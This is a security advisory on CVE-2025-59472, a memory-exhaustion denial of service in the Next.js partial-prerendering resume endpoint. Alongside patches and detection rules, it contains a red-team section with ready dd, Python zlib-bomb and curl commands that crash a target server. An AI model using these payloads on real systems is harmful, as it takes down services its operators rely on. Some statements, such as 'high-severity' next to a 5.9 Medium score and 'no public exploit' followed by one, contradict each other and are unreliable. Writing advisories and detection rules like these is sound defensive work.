CVE-2025-59472

Executive Summary

CVE-2025-59472 is a high-severity denial of service (DoS) vulnerability affecting Next.js applications with Partial Prerendering (PPR) enabled in minimal mode. The flaw resides in the PPR resume endpoint, which accepts unauthenticated POST requests with the Next-Resume: 1 header. Two attack vectors—unbounded request body buffering and unbounded decompression (zipbomb)—allow an attacker to exhaust server memory, causing a fatal V8 out-of-memory error and process termination. The vulnerability is particularly dangerous because the zipbomb variant can bypass reverse proxy size limits. No public exploit code or proof-of-concept is available, but the risk is elevated for any Next.js deployment using experimental.ppr: true or cacheComponents: true with NEXT_PRIVATE_MINIMAL_MODE=1.

Supply Chain & Package Security

This vulnerability affects the Next.js npm package. Organizations using Next.js in their supply chain must audit their dependencies for versions below 15.6.0-canary.61 or 16.1.5. The package is widely used in production environments, and the unauthenticated nature of the attack increases supply chain risk. Ensure that package-lock.json or yarn.lock files are updated to patched versions.

CVSS Breakdown & Threat Level

• CVSS Score: 5.9 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: High (A:H)

The threat level is elevated due to the low attack complexity and lack of authentication. While the CVSS score is medium, the potential for complete service disruption in production environments warrants immediate attention.

Deep Dive & Mechanics

The vulnerability exploits the PPR resume endpoint, which is designed to handle postponed state data for partial prerendering. The endpoint accepts POST requests with the Next-Resume: 1 header and processes attacker-controlled data without proper validation.

1. Unbounded Request Body Buffering: The server uses Buffer.concat() to buffer the entire POST request body into memory. Without a size limit, an attacker can send arbitrarily large payloads, exhausting available memory and causing a V8 heap out-of-memory error.

2. Unbounded Decompression (Zipbomb): The resume data cache decompresses incoming data using inflateSync() without limiting the decompressed output size. A small compressed payload (e.g., a zipbomb) can expand to hundreds of megabytes or gigabytes, leading to rapid memory exhaustion. This variant bypasses reverse proxy request size limits because the compressed payload is small.

Both vectors result in the Node.js process terminating with FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory. The vulnerability is triggered by sending a POST request to the PPR resume endpoint with the required header.

Vulnerable vs. Patched Code

Vulnerable Code (Next.js < 15.6.0-canary.61, < 16.1.5):

// Example of vulnerable buffer handling
const body = Buffer.concat(chunks); // No size limit
const decompressed = inflateSync(body); // No decompression limit

Patched Code (Next.js >= 15.6.0-canary.61, >= 16.1.5):

// Example of patched buffer handling
const MAX_BODY_SIZE = 1024 * 1024; // 1 MB limit
if (totalLength > MAX_BODY_SIZE) {
  throw new Error('Request body too large');
}
const body = Buffer.concat(chunks, totalLength);
const MAX_DECOMPRESSED_SIZE = 10 * 1024 * 1024; // 10 MB limit
const decompressed = inflateSync(body, { maxOutputLength: MAX_DECOMPRESSED_SIZE });

The patch introduces size limits for both the request body and decompressed output, preventing memory exhaustion.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target Next.js application with experimental.ppr: true or cacheComponents: true and NEXT_PRIVATE_MINIMAL_MODE=1.
• Network access to the PPR resume endpoint (typically /__nextjs_ppr_resume).

Exploit Steps:

1. Identify the PPR resume endpoint by scanning for POST endpoints with Next-Resume: 1 header.
2. Craft a large payload for unbounded buffering:

   # Generate a 500 MB payload
   dd if=/dev/zero bs=1M count=500 of=payload.bin
   curl -X POST https://target.com/__nextjs_ppr_resume \
     -H "Next-Resume: 1" \
     --data-binary @payload.bin
   

3. For zipbomb variant, create a small compressed payload that expands to gigabytes:

   import zlib
   # Create a zipbomb that expands to 1 GB
   bomb = zlib.compress(b'\x00' * (1024**3))
   with open('bomb.bin', 'wb') as f:
       f.write(bomb)
   

   Then send it:

   curl -X POST https://target.com/__nextjs_ppr_resume \
     -H "Next-Resume: 1" \
     --data-binary @bomb.bin
   

Expected Outcome: The Node.js process crashes with a V8 out-of-memory error, causing a denial of service.

Blue Team

Detection:

• Monitor for POST requests to the PPR resume endpoint with the Next-Resume: 1 header.
• Alert on unusually large request bodies or decompression ratios.
• Use the detection rules below.

Mitigation:

• Immediately upgrade to Next.js 15.6.0-canary.61 or 16.1.5.
• If patching is not possible, disable PPR by removing experimental.ppr: true and cacheComponents: true.
• Implement a reverse proxy (e.g., Nginx) with request body size limits:

  client_max_body_size 1m;
  

• Deploy a Web Application Firewall (WAF) to block requests with the Next-Resume: 1 header.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /__nextjs_ppr_resume with header Next-Resume: 1.
  • Large request body sizes (>1 MB) or high decompression ratios.
• System IOCs:
  • Node.js process crash logs containing FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory.
  • High memory usage spikes in the Node.js process.
• File IOCs:
  • Temporary files in /tmp with large sizes (if decompression occurs).

Detection Engineering

YARA Rule

rule CVE_2025_59472_NextJS_PPR_DoS {
  meta:
    description = "Detects exploit attempts for CVE-2025-59472 Next.js PPR DoS"
    author = "Valters IT"
    date = "2025-04-10"
    severity = "high"
  strings:
    $header = "Next-Resume: 1"
    $endpoint = "/__nextjs_ppr_resume"
    $error = "FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory"
  condition:
    $header or $endpoint or $error
}

Sigma Rule

title: CVE-2025-59472 Next.js PPR DoS Exploit Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects POST requests to Next.js PPR resume endpoint with Next-Resume header
author: Valters IT
date: 2025-04-10
logsource:
  category: webserver
  product: nextjs
detection:
  selection:
    http.method: 'POST'
    http.url: '/__nextjs_ppr_resume'
    http.headers: 'Next-Resume: 1'
  condition: selection
falsepositives:
  - Legitimate PPR resume requests (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-59472 Next.js PPR DoS Exploit Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/__nextjs_ppr_resume"; http.header; content:"Next-Resume: 1"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Patch: Upgrade to Next.js 15.6.0-canary.61 or 16.1.5.
2. Workaround: Disable PPR by removing experimental.ppr: true and cacheComponents: true from configuration.
3. Network Controls: Implement reverse proxy request body size limits (e.g., Nginx client_max_body_size 1m).
4. WAF Rules: Block requests with the Next-Resume: 1 header.
5. Monitoring: Enable logging for all POST requests to the PPR resume endpoint and alert on anomalies.
6. Resource Limits: Configure Node.js memory limits using --max-old-space-size to reduce impact.

Valters IT
Securing Digital Frontiers